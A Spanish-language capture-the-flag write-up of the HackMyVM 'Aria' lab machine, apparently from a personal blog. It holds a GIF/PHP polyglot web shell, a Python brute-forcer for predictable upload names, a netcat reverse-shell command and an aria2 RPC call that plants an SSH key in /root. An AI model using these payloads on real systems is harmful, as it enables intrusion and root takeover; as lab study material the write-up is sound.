cd ~/blog

~/writeups/hmv/140-aria.md

140 - Aria

easy Linux hmv 07-10-2025
Polyglot GIF/PHP upload (RCE)Predictable upload path brute forceZero-Width Space hidden tokenaria2 RPC arbitrary file write (root)
hackmyvm.eu/machines/machine.php?vm=Aria

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80,1337 -oN 02-targeted.txt 10.212.91.25
...
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
1337/tcp open  waste?
|     --- Aria Debug Shell ---
...

Enumeramos directorios y encontramos upload.php y la carpeta uploads/ (403):

 gobuster dir -u 'http://10.212.91.25/' -w directory-list-2.3-medium.txt -x php,txt,html,jpg -r
upload.php           (Status: 200)
uploads              (Status: 403)

La web (upload.php) acepta imágenes ≤ 1 MB (gif/jpg/png) y las renombra con md5(time()·rand(1,1000)), prohibiendo <?php. Subimos un polyglot GIF/PHP que evade el filtro (cabecera GIF89a válida + etiqueta corta <?=):

 cat pwned.gif
GIF89a;
<?= phpinfo();exec($_GET['cmd']); ?>

Como el nombre del archivo es predecible (md5(timestamp + rand)), hacemos fuerza bruta de la ruta con un script en Python que, para cada segundo dentro de una ventana reciente (now-20s … now) y cada rand de 1 a 1000, reconstruye el MD5 y lanza una petición HEAD a /uploads/<md5>.gif; cuando el código no es 404, encontró el archivo:

#!/usr/bin/env python3
import hashlib, time, requests
for ts in range(int(time.time())-20, int(time.time())+1):
    for rand_num in range(1, 1001):
        md5_hash = hashlib.md5(f"{ts}{rand_num}".encode()).hexdigest()
        url = f"http://10.212.91.25/uploads/{md5_hash}.gif"
        if requests.head(url, timeout=2).status_code != 404:
            print("Found:", url)
 ./bruteforce.py
[+] Testing: Encontrado!
[*] Found: http://10.212.91.25/uploads/889c93cdc96f0986be7ecdd25b71b7b9.gif (ts=1759862997 rand=686 status=500)

Accedemos con ?cmd= para lanzar una reverse shell:

http://10.212.91.25/uploads/....gif?cmd=busybox%20nc%2010.212.91.35%201234%20-e%20/bin/bash

 ncat -nlvp 1234
Ncat: Connection from 10.212.91.25:53646.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Obtenemos la primera flag en /home/aria. El user.txt esconde, tras la flag, un mensaje en Zero-Width Space (ZWSP):

www-data@Aria:/home/aria$ xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461  flag{user-d13ada
...
0000002a: ... e280 8be2  ............ (caracteres ZWSP)

Lo decodificamos (stegzero.com) y obtenemos un token:

token: maze-sec

Para escalar, vemos el servicio aria2 corriendo como root con su RPC en local:

www-data@Aria:/home/aria$ ss -tuln
...
tcp     LISTEN   0    128    127.0.0.1:6800    0.0.0.0:*
...

www-data@Aria:/home/aria$ ps aux | grep aria2c
root  344 ... /usr/bin/aria2c --conf-path=/root/.aria2/aria2.conf

Con el token autenticamos contra el RPC (primero verificamos la versión). Sin token responde Unauthorized:

www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.getVersion","id":"Q1","params":["token:maze-sec"]}'
{"id":"Q1","jsonrpc":"2.0","result":{"version":"1.35.0"}}

En nuestra máquina generamos un par de claves SSH sin passphrase, copiamos la pública como authorized_keys y la servimos por HTTP:

 ssh-keygen -t rsa -f id_rsa_root -N ''
 cp id_rsa_root.pub ./authorized_keys
 sudo python -m http.server 80

Abusamos de aria2.addUri (descarga arbitraria que corre como root) para escribir nuestro authorized_keys en /root/.ssh y entrar por SSH:

www-data@Aria:/home/aria$ curl -s http://127.0.0.1:6800/jsonrpc -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"aria2.addUri","id":"add","params": ["token:maze-sec",["http://10.212.91.35/authorized_keys"],{ "dir":"/root/.ssh/", "out":"authorized_keys" }]}'

 ssh root@10.212.91.25 -i id_rsa_root
root@Aria:~#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados